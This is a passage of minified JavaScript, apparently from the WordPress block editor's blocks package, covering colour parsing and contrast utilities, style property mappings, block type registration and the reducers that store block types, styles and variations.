t=arguments[r])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e},s.apply(this,arguments)};Object.create;Object.create;"function"==typeof SuppressedError&&SuppressedError;function c(e){return e.toLowerCase()}var l=[/([a-z0-9])([A-Z])/g,/([A-Z])([A-Z][a-z])/g],u=/[^A-Z0-9]+/gi;function d(e,t,r){return t instanceof RegExp?e.replace(t,r):t.reduce((function(e,t){return e.replace(t,r)}),e)}function p(e,t){var r=e.charAt(0),n=e.substr(1).toLowerCase();return t>0&&r>="0"&&r<="9"?"_"+r+n:""+r.toUpperCase()+n}function f(e,t){return void 0===t&&(t={}),function(e,t){void 0===t&&(t={});for(var r=t.splitRegexp,n=void 0===r?l:r,o=t.stripRegexp,a=void 0===o?u:o,i=t.transform,s=void 0===i?c:i,p=t.delimiter,f=void 0===p?" ":p,h=d(d(e,n,"$1\0$2"),a,"\0"),g=0,m=h.length;"\0"===h.charAt(g);)g++;for(;"\0"===h.charAt(m-1);)m--;return h.slice(g,m).split("\0").map(s).join(f)}(e,s({delimiter:"",transform:p},t))}function h(e,t){return 0===t?e.toLowerCase():p(e,t)}const g=window.wp.i18n;var m={grad:.9,turn:360,rad:360/(2*Math.PI)},b=function(e){return"string"==typeof e?e.length>0:"number"==typeof e},_=function(e,t,r){return void 0===t&&(t=0),void 0===r&&(r=Math.pow(10,t)),Math.round(r*e)/r+0},y=function(e,t,r){return void 0===t&&(t=0),void 0===r&&(r=1),e>r?r:e>t?e:t},k=function(e){return(e=isFinite(e)?e%360:0)>0?e:e+360},w=function(e){return{r:y(e.r,0,255),g:y(e.g,0,255),b:y(e.b,0,255),a:y(e.a)}},v=function(e){return{r:_(e.r),g:_(e.g),b:_(e.b),a:_(e.a,3)}},T=/^#([0-9a-f]{3,8})$/i,C=function(e){var t=e.toString(16);return t.length<2?"0"+t:t},x=function(e){var t=e.r,r=e.g,n=e.b,o=e.a,a=Math.max(t,r,n),i=a-Math.min(t,r,n),s=i?a===t?(r-n)/i:a===r?2+(n-t)/i:4+(t-r)/i:0;return{h:60*(s<0?s+6:s),s:a?i/a*100:0,v:a/255*100,a:o}},E=function(e){var t=e.h,r=e.s,n=e.v,o=e.a;t=t/360*6,r/=100,n/=100;var a=Math.floor(t),i=n*(1-r),s=n*(1-(t-a)*r),c=n*(1-(1-t+a)*r),l=a%6;return{r:255*[n,s,i,i,c,n][l],g:255*[c,n,n,s,i,i][l],b:255*[i,i,c,n,n,s][l],a:o}},S=function(e){return{h:k(e.h),s:y(e.s,0,100),l:y(e.l,0,100),a:y(e.a)}},B=function(e){return{h:_(e.h),s:_(e.s),l:_(e.l),a:_(e.a,3)}},A=function(e){return E((r=(t=e).s,{h:t.h,s:(r*=((n=t.l)<50?n:100-n)/100)>0?2*r/(n+r)*100:0,v:n+r,a:t.a}));var t,r,n},N=function(e){return{h:(t=x(e)).h,s:(o=(200-(r=t.s))*(n=t.v)/100)>0&&o<200?r*n/100/(o<=100?o:200-o)*100:0,l:o/2,a:t.a};var t,r,n,o},P=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s*,\s*([+-]?\d*\.?\d+)%\s*,\s*([+-]?\d*\.?\d+)%\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,O=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s+([+-]?\d*\.?\d+)%\s+([+-]?\d*\.?\d+)%\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,L=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,M=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,j={string:[[function(e){var t=T.exec(e);return t?(e=t[1]).length<=4?{r:parseInt(e[0]+e[0],16),g:parseInt(e[1]+e[1],16),b:parseInt(e[2]+e[2],16),a:4===e.length?_(parseInt(e[3]+e[3],16)/255,2):1}:6===e.length||8===e.length?{r:parseInt(e.substr(0,2),16),g:parseInt(e.substr(2,2),16),b:parseInt(e.substr(4,2),16),a:8===e.length?_(parseInt(e.substr(6,2),16)/255,2):1}:null:null},"hex"],[function(e){var t=L.exec(e)||M.exec(e);return t?t[2]!==t[4]||t[4]!==t[6]?null:w({r:Number(t[1])/(t[2]?100/255:1),g:Number(t[3])/(t[4]?100/255:1),b:Number(t[5])/(t[6]?100/255:1),a:void 0===t[7]?1:Number(t[7])/(t[8]?100:1)}):null},"rgb"],[function(e){var t=P.exec(e)||O.exec(e);if(!t)return null;var r,n,o=S({h:(r=t[1],n=t[2],void 0===n&&(n="deg"),Number(r)*(m[n]||1)),s:Number(t[3]),l:Number(t[4]),a:void 0===t[5]?1:Number(t[5])/(t[6]?100:1)});return A(o)},"hsl"]],object:[[function(e){var t=e.r,r=e.g,n=e.b,o=e.a,a=void 0===o?1:o;return b(t)&&b(r)&&b(n)?w({r:Number(t),g:Number(r),b:Number(n),a:Number(a)}):null},"rgb"],[function(e){var t=e.h,r=e.s,n=e.l,o=e.a,a=void 0===o?1:o;if(!b(t)||!b(r)||!b(n))return null;var i=S({h:Number(t),s:Number(r),l:Number(n),a:Number(a)});return A(i)},"hsl"],[function(e){var t=e.h,r=e.s,n=e.v,o=e.a,a=void 0===o?1:o;if(!b(t)||!b(r)||!b(n))return null;var i=function(e){return{h:k(e.h),s:y(e.s,0,100),v:y(e.v,0,100),a:y(e.a)}}({h:Number(t),s:Number(r),v:Number(n),a:Number(a)});return E(i)},"hsv"]]},D=function(e,t){for(var r=0;r<t.length;r++){var n=t[r][0](e);if(n)return[n,t[r][1]]}return[null,void 0]},z=function(e){return"string"==typeof e?D(e.trim(),j.string):"object"==typeof e&&null!==e?D(e,j.object):[null,void 0]},I=function(e,t){var r=N(e);return{h:r.h,s:y(r.s+100*t,0,100),l:r.l,a:r.a}},R=function(e){return(299*e.r+587*e.g+114*e.b)/1e3/255},H=function(e,t){var r=N(e);return{h:r.h,s:r.s,l:y(r.l+100*t,0,100),a:r.a}},V=function(){function e(e){this.parsed=z(e)[0],this.rgba=this.parsed||{r:0,g:0,b:0,a:1}}return e.prototype.isValid=function(){return null!==this.parsed},e.prototype.brightness=function(){return _(R(this.rgba),2)},e.prototype.isDark=function(){return R(this.rgba)<.5},e.prototype.isLight=function(){return R(this.rgba)>=.5},e.prototype.toHex=function(){return t=(e=v(this.rgba)).r,r=e.g,n=e.b,a=(o=e.a)<1?C(_(255*o)):"","#"+C(t)+C(r)+C(n)+a;var e,t,r,n,o,a},e.prototype.toRgb=function(){return v(this.rgba)},e.prototype.toRgbString=function(){return t=(e=v(this.rgba)).r,r=e.g,n=e.b,(o=e.a)<1?"rgba("+t+", "+r+", "+n+", "+o+")":"rgb("+t+", "+r+", "+n+")";var e,t,r,n,o},e.prototype.toHsl=function(){return B(N(this.rgba))},e.prototype.toHslString=function(){return t=(e=B(N(this.rgba))).h,r=e.s,n=e.l,(o=e.a)<1?"hsla("+t+", "+r+"%, "+n+"%, "+o+")":"hsl("+t+", "+r+"%, "+n+"%)";var e,t,r,n,o},e.prototype.toHsv=function(){return e=x(this.rgba),{h:_(e.h),s:_(e.s),v:_(e.v),a:_(e.a,3)};var e},e.prototype.invert=function(){return $({r:255-(e=this.rgba).r,g:255-e.g,b:255-e.b,a:e.a});var e},e.prototype.saturate=function(e){return void 0===e&&(e=.1),$(I(this.rgba,e))},e.prototype.desaturate=function(e){return void 0===e&&(e=.1),$(I(this.rgba,-e))},e.prototype.grayscale=function(){return $(I(this.rgba,-1))},e.prototype.lighten=function(e){return void 0===e&&(e=.1),$(H(this.rgba,e))},e.prototype.darken=function(e){return void 0===e&&(e=.1),$(H(this.rgba,-e))},e.prototype.rotate=function(e){return void 0===e&&(e=15),this.hue(this.hue()+e)},e.prototype.alpha=function(e){return"number"==typeof e?$({r:(t=this.rgba).r,g:t.g,b:t.b,a:e}):_(this.rgba.a,3);var t},e.prototype.hue=function(e){var t=N(this.rgba);return"number"==typeof e?$({h:e,s:t.s,l:t.l,a:t.a}):_(t.h)},e.prototype.isEqual=function(e){return this.toHex()===$(e).toHex()},e}(),$=function(e){return e instanceof V?e:new V(e)},U=[];var F=function(e){var t=e/255;return t<.04045?t/12.92:Math.pow((t+.055)/1.055,2.4)},q=function(e){return.2126*F(e.r)+.7152*F(e.g)+.0722*F(e.b)};const G=window.wp.element,K=window.wp.dom,W=window.wp.richText,Y=window.wp.deprecated;var Q=r.n(Y);const Z="block-default",X=["attributes","supports","save","migrate","isEligible","apiVersion"],J={"--wp--style--color--link":{value:["color","link"],support:["color","link"]},aspectRatio:{value:["dimensions","aspectRatio"],support:["dimensions","aspectRatio"],useEngine:!0},background:{value:["color","gradient"],support:["color","gradients"],useEngine:!0},backgroundColor:{value:["color","background"],support:["color","background"],requiresOptOut:!0,useEngine:!0},backgroundImage:{value:["background","backgroundImage"],support:["background","backgroundImage"],useEngine:!0},backgroundRepeat:{value:["background","backgroundRepeat"],support:["background","backgroundRepeat"],useEngine:!0},backgroundSize:{value:["background","backgroundSize"],support:["background","backgroundSize"],useEngine:!0},backgroundPosition:{value:["background","backgroundPosition"],support:["background","backgroundPosition"],useEngine:!0},borderColor:{value:["border","color"],support:["__experimentalBorder","color"],useEngine:!0},borderRadius:{value:["border","radius"],support:["__experimentalBorder","radius"],properties:{borderTopLeftRadius:"topLeft",borderTopRightRadius:"topRight",borderBottomLeftRadius:"bottomLeft",borderBottomRightRadius:"bottomRight"},useEngine:!0},borderStyle:{value:["border","style"],support:["__experimentalBorder","style"],useEngine:!0},borderWidth:{value:["border","width"],support:["__experimentalBorder","width"],useEngine:!0},borderTopColor:{value:["border","top","color"],support:["__experimentalBorder","color"],useEngine:!0},borderTopStyle:{value:["border","top","style"],support:["__experimentalBorder","style"],useEngine:!0},borderTopWidth:{value:["border","top","width"],support:["__experimentalBorder","width"],useEngine:!0},borderRightColor:{value:["border","right","color"],support:["__experimentalBorder","color"],useEngine:!0},borderRightStyle:{value:["border","right","style"],support:["__experimentalBorder","style"],useEngine:!0},borderRightWidth:{value:["border","right","width"],support:["__experimentalBorder","width"],useEngine:!0},borderBottomColor:{value:["border","bottom","color"],support:["__experimentalBorder","color"],useEngine:!0},borderBottomStyle:{value:["border","bottom","style"],support:["__experimentalBorder","style"],useEngine:!0},borderBottomWidth:{value:["border","bottom","width"],support:["__experimentalBorder","width"],useEngine:!0},borderLeftColor:{value:["border","left","color"],support:["__experimentalBorder","color"],useEngine:!0},borderLeftStyle:{value:["border","left","style"],support:["__experimentalBorder","style"],useEngine:!0},borderLeftWidth:{value:["border","left","width"],support:["__experimentalBorder","width"],useEngine:!0},color:{value:["color","text"],support:["color","text"],requiresOptOut:!0,useEngine:!0},columnCount:{value:["typography","textColumns"],support:["typography","textColumns"],useEngine:!0},filter:{value:["filter","duotone"],support:["filter","duotone"]},linkColor:{value:["elements","link","color","text"],support:["color","link"]},captionColor:{value:["elements","caption","color","text"],support:["color","caption"]},buttonColor:{value:["elements","button","color","text"],support:["color","button"]},buttonBackgroundColor:{value:["elements","button","color","background"],support:["color","button"]},headingColor:{value:["elements","heading","color","text"],support:["color","heading"]},headingBackgroundColor:{value:["elements","heading","color","background"],support:["color","heading"]},fontFamily:{value:["typography","fontFamily"],support:["typography","__experimentalFontFamily"],useEngine:!0},fontSize:{value:["typography","fontSize"],support:["typography","fontSize"],useEngine:!0},fontStyle:{value:["typography","fontStyle"],support:["typography","__experimentalFontStyle"],useEngine:!0},fontWeight:{value:["typography","fontWeight"],support:["typography","__experimentalFontWeight"],useEngine:!0},lineHeight:{value:["typography","lineHeight"],support:["typography","lineHeight"],useEngine:!0},margin:{value:["spacing","margin"],support:["spacing","margin"],properties:{marginTop:"top",marginRight:"right",marginBottom:"bottom",marginLeft:"left"},useEngine:!0},minHeight:{value:["dimensions","minHeight"],support:["dimensions","minHeight"],useEngine:!0},padding:{value:["spacing","padding"],support:["spacing","padding"],properties:{paddingTop:"top",paddingRight:"right",paddingBottom:"bottom",paddingLeft:"left"},useEngine:!0},textAlign:{value:["typography","textAlign"],support:["typography","textAlign"],useEngine:!1},textDecoration:{value:["typography","textDecoration"],support:["typography","__experimentalTextDecoration"],useEngine:!0},textTransform:{value:["typography","textTransform"],support:["typography","__experimentalTextTransform"],useEngine:!0},letterSpacing:{value:["typography","letterSpacing"],support:["typography","__experimentalLetterSpacing"],useEngine:!0},writingMode:{value:["typography","writingMode"],support:["typography","__experimentalWritingMode"],useEngine:!0},"--wp--style--root--padding":{value:["spacing","padding"],support:["spacing","padding"],properties:{"--wp--style--root--padding-top":"top","--wp--style--root--padding-right":"right","--wp--style--root--padding-bottom":"bottom","--wp--style--root--padding-left":"left"},rootOnly:!0}},ee={link:"a:where(:not(.wp-element-button))",heading:"h1, h2, h3, h4, h5, h6",h1:"h1",h2:"h2",h3:"h3",h4:"h4",h5:"h5",h6:"h6",button:".wp-element-button, .wp-block-button__link",caption:".wp-element-caption, .wp-block-audio figcaption, .wp-block-embed figcaption, .wp-block-gallery figcaption, .wp-block-image figcaption, .wp-block-table figcaption, .wp-block-video figcaption",cite:"cite"},te={"color.duotone":!0,"color.gradients":!0,"color.palette":!0,"dimensions.aspectRatios":!0,"typography.fontSizes":!0,"spacing.spacingSizes":!0},re=(window.wp.warning,window.wp.privateApis),{lock:ne,unlock:oe}=(0,re.__dangerousOptInToUnstableAPIsOnlyForCoreModules)("I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.","@wordpress/blocks"),ae={title:"block title",description:"block description",keywords:["block keyword"],styles:[{label:"block style label"}],variations:[{title:"block variation title",description:"block variation description",keywords:["block variation keyword"]}]};function ie(e){return null!==e&&"object"==typeof e}function se(e){const{addBootstrappedBlockType:t}=oe((0,i.dispatch)(gr));for(const[r,n]of Object.entries(e))t(r,n)}function ce({textdomain:e,...t}){const r=["apiVersion","title","category","parent","ancestor","icon","description","keywords","attributes","providesContext","usesContext","selectors","supports","styles","example","variations","blockHooks","allowedBlocks"],n=Object.fromEntries(Object.entries(t).filter((([e])=>r.includes(e))));return e&&Object.keys(ae).forEach((t=>{n[t]&&(n[t]=ue(ae[t],n[t],e))})),n}function le(e,t){const r=ie(e)?e.name:e;if("string"!=typeof r)return;if(!/^[a-z][a-z0-9-]*\/[a-z][a-z0-9-]*$/.test(r))return;if((0,i.select)(gr).getBlockType(r))return;const{addBootstrappedBlockType:n,addUnprocessedBlockType:o}=oe((0,i.dispatch)(gr));if(ie(e)){n(r,ce(e))}return o(r,t),(0,i.select)(gr).getBlockType(r)}function ue(e,t,r){return"string"==typeof e&&"string"==typeof t?(0,g._x)(t,e,r):Array.isArray(e)&&e.length&&Array.isArray(t)?t.map((t=>ue(e[0],t,r))):ie(e)&&Object.entries(e).length&&ie(t)?Object.keys(t).reduce(((n,o)=>e[o]?(n[o]=ue(e[o],t[o],r),n):(n[o]=t[o],n)),{}):t}function de(e,{title:t,icon:r}){(0,i.dispatch)(gr).addBlockCollection(e,t,r)}function pe(e){const t=(0,i.select)(gr).getBlockType(e);if(t)return(0,i.dispatch)(gr).removeBlockTypes(e),t}function fe(e){(0,i.dispatch)(gr).setFreeformFallbackBlockName(e)}function he(){return(0,i.select)(gr).getFreeformFallbackBlockName()}function ge(){return(0,i.select)(gr).getGroupingBlockName()}function me(e){(0,i.dispatch)(gr).setUnregisteredFallbackBlockName(e)}function be(){return(0,i.select)(gr).getUnregisteredFallbackBlockName()}function _e(e){(0,i.dispatch)(gr).setDefaultBlockName(e)}function ye(e){(0,i.dispatch)(gr).setGroupingBlockName(e)}function ke(){return(0,i.select)(gr).getDefaultBlockName()}function we(e){return(0,i.select)(gr)?.getBlockType(e)}function ve(){return(0,i.select)(gr).getBlockTypes()}function Te(e,t,r){return(0,i.select)(gr).getBlockSupport(e,t,r)}function Ce(e,t,r){return(0,i.select)(gr).hasBlockSupport(e,t,r)}function xe(e){return"core/block"===e?.name}function Ee(e){return"core/template-part"===e?.name}const Se=e=>(0,i.select)(gr).getChildBlockNames(e),Be=e=>(0,i.select)(gr).hasChildBlocks(e),Ae=e=>(0,i.select)(gr).hasChildBlocksWithInserterSupport(e),Ne=(e,t)=>{(0,i.dispatch)(gr).addBlockStyles(e,t)},Pe=(e,t)=>{(0,i.dispatch)(gr).removeBlockStyles(e,t)},Oe=(e,t)=>(0,i.select)(gr).getBlockVariations(e,t),Le=(e,t)=>{t.name,(0,i.dispatch)(gr).addBlockVariations(e,t)},Me=(e,t)=>{(0,i.dispatch)(gr).removeBlockVariations(e,t)},je=e=>{const{name:t,label:r,usesContext:n,getValues:o,setValues:a,canUserEditValue:s,getFieldsList:c}=e,l=oe((0,i.select)(gr)).getBlockBindingsSource(t),u=["label","usesContext"];for(const e in l)if(!u.includes(e)&&l[e])return;if(t&&"string"==typeof t&&!/[A-Z]+/.test(t)&&/^[a-z0-9/-]+$/.test(t)&&/^[a-z0-9-]+\/[a-z0-9-]+$/.test(t)&&(r||l?.label)&&(!r||"string"==typeof r)&&(!n||Array.isArray(n))&&!(o&&"function"!=typeof o||a&&"function"!=typeof a||s&&"function"!=typeof s||c&&"function"!=typeof c))return oe((0,i.dispatch)(gr)).addBlockBindingsSource(e)};function De(e){ze(e)&&oe((0,i.dispatch)(gr)).removeBlockBindingsSource(e)}function ze(e){return oe((0,i.select)(gr)).getBlockBindingsSource(e)}function Ie(){return oe((0,i.select)(gr)).getAllBlockBindingsSources()}!function(e){e.forEach((function(e){U.indexOf(e)<0&&(e(V,j),U.push(e))}))}([function(e,t){var r={white:"#ffffff",bisque:"#ffe4c4",blue:"#0000ff",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",antiquewhite:"#faebd7",aqua:"#00ffff",azure:"#f0ffff",whitesmoke:"#f5f5f5",papayawhip:"#ffefd5",plum:"#dda0dd",blanchedalmond:"#ffebcd",black:"#000000",gold:"#ffd700",goldenrod:"#daa520",gainsboro:"#dcdcdc",cornsilk:"#fff8dc",cornflowerblue:"#6495ed",burlywood:"#deb887",aquamarine:"#7fffd4",beige:"#f5f5dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkkhaki:"#bdb76b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",peachpuff:"#ffdab9",darkmagenta:"#8b008b",darkred:"#8b0000",darkorchid:"#9932cc",darkorange:"#ff8c00",darkslateblue:"#483d8b",gray:"#808080",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",deeppink:"#ff1493",deepskyblue:"#00bfff",wheat:"#f5deb3",firebrick:"#b22222",floralwhite:"#fffaf0",ghostwhite:"#f8f8ff",darkviolet:"#9400d3",magenta:"#ff00ff",green:"#008000",dodgerblue:"#1e90ff",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",blueviolet:"#8a2be2",forestgreen:"#228b22",lawngreen:"#7cfc00",indianred:"#cd5c5c",indigo:"#4b0082",fuchsia:"#ff00ff",brown:"#a52a2a",maroon:"#800000",mediumblue:"#0000cd",lightcoral:"#f08080",darkturquoise:"#00ced1",lightcyan:"#e0ffff",ivory:"#fffff0",lightyellow:"#ffffe0",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",linen:"#faf0e6",mediumaquamarine:"#66cdaa",lemonchiffon:"#fffacd",lime:"#00ff00",khaki:"#f0e68c",mediumseagreen:"#3cb371",limegreen:"#32cd32",mediumspringgreen:"#00fa9a",lightskyblue:"#87cefa",lightblue:"#add8e6",midnightblue:"#191970",lightpink:"#ffb6c1",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",mintcream:"#f5fffa",lightslategray:"#778899",lightslategrey:"#778899",navajowhite:"#ffdead",navy:"#000080",mediumvioletred:"#c71585",powderblue:"#b0e0e6",palegoldenrod:"#eee8aa",oldlace:"#fdf5e6",paleturquoise:"#afeeee",mediumturquoise:"#48d1cc",mediumorchid:"#ba55d3",rebeccapurple:"#663399",lightsteelblue:"#b0c4de",mediumslateblue:"#7b68ee",thistle:"#d8bfd8",tan:"#d2b48c",orchid:"#da70d6",mediumpurple:"#9370db",purple:"#800080",pink:"#ffc0cb",skyblue:"#87ceeb",springgreen:"#00ff7f",palegreen:"#98fb98",red:"#ff0000",yellow:"#ffff00",slateblue:"#6a5acd",lavenderblush:"#fff0f5",peru:"#cd853f",palevioletred:"#db7093",violet:"#ee82ee",teal:"#008080",slategray:"#708090",slategrey:"#708090",aliceblue:"#f0f8ff",darkseagreen:"#8fbc8f",darkolivegreen:"#556b2f",greenyellow:"#adff2f",seagreen:"#2e8b57",seashell:"#fff5ee",tomato:"#ff6347",silver:"#c0c0c0",sienna:"#a0522d",lavender:"#e6e6fa",lightgreen:"#90ee90",orange:"#ffa500",orangered:"#ff4500",steelblue:"#4682b4",royalblue:"#4169e1",turquoise:"#40e0d0",yellowgreen:"#9acd32",salmon:"#fa8072",saddlebrown:"#8b4513",sandybrown:"#f4a460",rosybrown:"#bc8f8f",darksalmon:"#e9967a",lightgoldenrodyellow:"#fafad2",snow:"#fffafa",lightgrey:"#d3d3d3",lightgray:"#d3d3d3",dimgray:"#696969",dimgrey:"#696969",olivedrab:"#6b8e23",olive:"#808000"},n={};for(var o in r)n[r[o]]=o;var a={};e.prototype.toName=function(t){if(!(this.rgba.a||this.rgba.r||this.rgba.g||this.rgba.b))return"transparent";var o,i,s=n[this.toHex()];if(s)return s;if(null==t?void 0:t.closest){var c=this.toRgb(),l=1/0,u="black";if(!a.length)for(var d in r)a[d]=new e(r[d]).toRgb();for(var p in r){var f=(o=c,i=a[p],Math.pow(o.r-i.r,2)+Math.pow(o.g-i.g,2)+Math.pow(o.b-i.b,2));f<l&&(l=f,u=p)}return u}},t.string.push([function(t){var n=t.toLowerCase(),o="transparent"===n?"#0000":r[n];return o?new e(o).toRgb():null},"name"])},function(e){e.prototype.luminance=function(){return e=q(this.rgba),void 0===(t=2)&&(t=0),void 0===r&&(r=Math.pow(10,t)),Math.round(r*e)/r+0;var e,t,r},e.prototype.contrast=function(t){void 0===t&&(t="#FFF");var r,n,o,a,i,s,c,l=t instanceof e?t:new e(t);return a=this.rgba,i=l.toRgb(),r=(s=q(a))>(c=q(i))?(s+.05)/(c+.05):(c+.05)/(s+.05),void 0===(n=2)&&(n=0),void 0===o&&(o=Math.pow(10,n)),Math.floor(o*r)/o+0},e.prototype.isReadable=function(e,t){return void 0===e&&(e="#FFF"),void 0===t&&(t={}),this.contrast(e)>=(i=void 0===(a=(r=t).size)?"normal":a,"AAA"===(o=void 0===(n=r.level)?"AA":n)&&"normal"===i?7:"AA"===o&&"large"===i?3:4.5);var r,n,o,a,i}}]);const Re=["#191e23","#f8f9f9"];function He(e){var t;return Object.entries(null!==(t=we(e.name)?.attributes)&&void 0!==t?t:{}).every((([t,r])=>{const n=e.attributes[t];return r.hasOwnProperty("default")?n===r.default:"rich-text"===r.type?!n?.length:void 0===n}))}function Ve(e){return e.name===ke()&&He(e)}function $e(e){return!!e&&("string"==typeof e||(0,G.isValidElement)(e)||"function"==typeof e||e instanceof G.Component)}function Ue(e){if($e(e=e||Z))return{src:e};if("background"in e){const t=$(e.background),r=e=>t.contrast(e),n=Math.max(...Re.map(r));return{...e,foreground:e.foreground?e.foreground:Re.find((e=>r(e)===n)),shadowColor:t.alpha(.3).toRgbString()}}return e}function Fe(e){return"string"==typeof e?we(e):e}function qe(e,t,r="visual"){const{__experimentalLabel:n,title:o}=e,a=n&&n(t,{context:r});return a?a.toPlainText?a.toPlainText():(0,K.__unstableStripHTML)(a):o}function Ge(e,t,r,n="vertical"){const o=e?.title,a=e?qe(e,t,"accessibility"):"",i=void 0!==r,s=a&&a!==o;return i&&"vertical"===n?s?(0,g.sprintf)((0,g.__)("%1$s Block. Row %2$d. %3$s"),o,r,a):(0,g.sprintf)((0,g.__)("%1$s Block. Row %2$d"),o,r):i&&"horizontal"===n?s?(0,g.sprintf)((0,g.__)("%1$s Block. Column %2$d. %3$s"),o,r,a):(0,g.sprintf)((0,g.__)("%1$s Block. Column %2$d"),o,r):s?(0,g.sprintf)((0,g.__)("%1$s Block. %2$s"),o,a):(0,g.sprintf)((0,g.__)("%s Block"),o)}function Ke(e){return void 0!==e.default?e.default:"rich-text"===e.type?new W.RichTextData:void 0}function We(e){return void 0!==we(e)}function Ye(e,t){const r=we(e);if(void 0===r)throw new Error(`Block type '${e}' is not registered.`);return Object.entries(r.attributes).reduce(((e,[r,n])=>{const o=t[r];if(void 0!==o)"rich-text"===n.type?o instanceof W.RichTextData?e[r]=o:"string"==typeof o&&(e[r]=W.RichTextData.fromHTMLString(o)):"string"===n.type&&o instanceof W.RichTextData?e[r]=o.toHTMLString():e[r]=o;else{const t=Ke(n);void 0!==t&&(e[r]=t)}return-1!==["node","children"].indexOf(n.source)&&("string"==typeof e[r]?e[r]=[e[r]]:Array.isArray(e[r])||(e[r]=[])),e}),{})}function Qe(e,t){const r=we(e)?.attributes;if(!r)return[];const n=Object.keys(r);return t?n.filter((n=>{const o=r[n];return o?.role===t||o?.__experimentalRole===t&&(Q()("__experimentalRole attribute",{since:"6.7",version:"6.8",alternative:"role attribute",hint:`Check the block.json of the ${e} block.`}),!0)})):n}const Ze=(...e)=>(Q()("__experimentalGetBlockAttributesNamesByRole",{since:"6.7",version:"6.8",alternative:"getBlockAttributesNamesByRole"}),Qe(...e));function Xe(e,t){return Object.fromEntries(Object.entries(e).filter((([e])=>!t.includes(e))))}const Je=[{slug:"text",title:(0,g.__)("Text")},{slug:"media",title:(0,g.__)("Media")},{slug:"design",title:(0,g.__)("Design")},{slug:"widgets",title:(0,g.__)("Widgets")},{slug:"theme",title:(0,g.__)("Theme")},{slug:"embed",title:(0,g.__)("Embeds")},{slug:"reusable",title:(0,g.__)("Reusable blocks")}];function et(e){return e.reduce(((e,t)=>({...e,[t.name]:t})),{})}function tt(e){return e.reduce(((e,t)=>(e.some((e=>e.name===t.name))||e.push(t),e)),[])}function rt(e){return(t=null,r)=>{switch(r.type){case"REMOVE_BLOCK_TYPES":return-1!==r.names.indexOf(t)?null:t;case e:return r.name||null}return t}}const nt=rt("SET_DEFAULT_BLOCK_NAME"),ot=rt("SET_FREEFORM_FALLBACK_BLOCK_NAME"),at=rt("SET_UNREGISTERED_FALLBACK_BLOCK_NAME"),it=rt("SET_GROUPING_BLOCK_NAME");function st(e=[],t=[]){const r=Array.from(new Set(e.concat(t)));return r.length>0?r:void 0}const ct=(0,i.combineReducers)({bootstrappedBlockTypes:function(e={},t){switch(t.type){case"ADD_BOOTSTRAPPED_BLOCK_TYPE":const{name:r,blockType:n}=t,o=e[r];let a;return o?(void 0===o.blockHooks&&n.blockHooks&&(a={...o,...a,blockHooks:n.blockHooks}),void 0===o.allowedBlocks&&n.allowedBlocks&&(a={...o,...a,allowedBlocks:n.allowedBlocks})):(a=Object.fromEntries(Object.entries(n).filter((([,e])=>null!=e)).map((([e,t])=>{return[(r=e,void 0===n&&(n={}),f(r,s({transform:h},n))),t];var r,n}))),a.name=r),a?{...e,[r]:a}:e;case"REMOVE_BLOCK_TYPES":return Xe(e,t.names)}return e},unprocessedBlockTypes:function(e={},t){switch(t.type){case"ADD_UNPROCESSED_BLOCK_TYPE":return{...e,[t.name]:t.blockType};case"REMOVE_BLOCK_TYPES":return Xe(e,t.names)}return e},blockTypes:function(e={},t){switch(t.type){case"ADD_BLOCK_TYPES":return{...e,...et(t.blockTypes)};case"REMOVE_BLOCK_TYPES":return Xe(e,t.names)}return e},blockStyles:function(e={},t){var r;switch(t.type){case"ADD_BLOCK_TYPES":return{...e,...Object.fromEntries(Object.entries(et(t.blockTypes)).map((([t,r])=>{var n,o;return[t,tt([...(null!==(n=r.styles)&&void 0!==n?n:[]).map((e=>({...e,source:"block"}))),...(null!==(o=e[r.name])&&void 0!==o?o:[]).filter((({source:e})=>"block"!==e))])]})))};case"ADD_BLOCK_STYLES":const n={};return t.blockNames.forEach((r=>{var o;n[r]=tt([...null!==(o=e[r])&&void 0!==o?o:[],...t.styles])})),{...e,...n};case"REMOVE_BLOCK_STYLES":return{...e,[t.blockName]:(null!==(r=e[t.blockName])&&void 0!==r?r:[]).filter((e=>-1===t.styleNames.indexOf(e.name)))}}return e},blockVariations:function(e={},t){var r,n;switch(t.type){case"ADD_BLOCK_TYPES":return{...e,...Object.fromEntries(Object.entries(et(t.blockTypes)).map((([t,r])=>{var n,o;return[t,tt([...(null!==(n=r.variations)&&void 0!==n?n:[]).map((e=>({...e,source:"block"}))),...(null!==(o=e[r.name])&&void 0!==o?o:[]).filter((({source:e})=>"block"!==e))])]})))};case"ADD_BLOCK_VARIATIONS":return{...e,[t.blockName]:tt([...null!==(r=e[t.blockName])&&void 0!==r?r:[],...t.variations])};case"REMOVE_BLOCK_VARIATIONS":return{...e,[t.blockName]:(null!==(n=e[t.blockName])&&void 0!==n?n:[]).filter((e=>-1===t.variationNames.indexOf(e.name)))}}return e},defaultBlockName:nt,freeformFallbackBlockName:ot,unregisteredFallbackBlockName:at,groupingBlockName:it,categories:function(e=Je,t){switch(t.type){case"SET_CATEGORIES":const r=new Map;return(t.categories||[]).forEach((e=>{r.set(e.slug,e)})),[...r.values()];case"UPDATE_CATEGORY":if(!t.category||!Object.keys(t.category).length)return e;if(e.find((({slug:e})=>e===t.slug)))return e.map((e=>e.slug===t.slug?{...e,...t.category}:e))}return 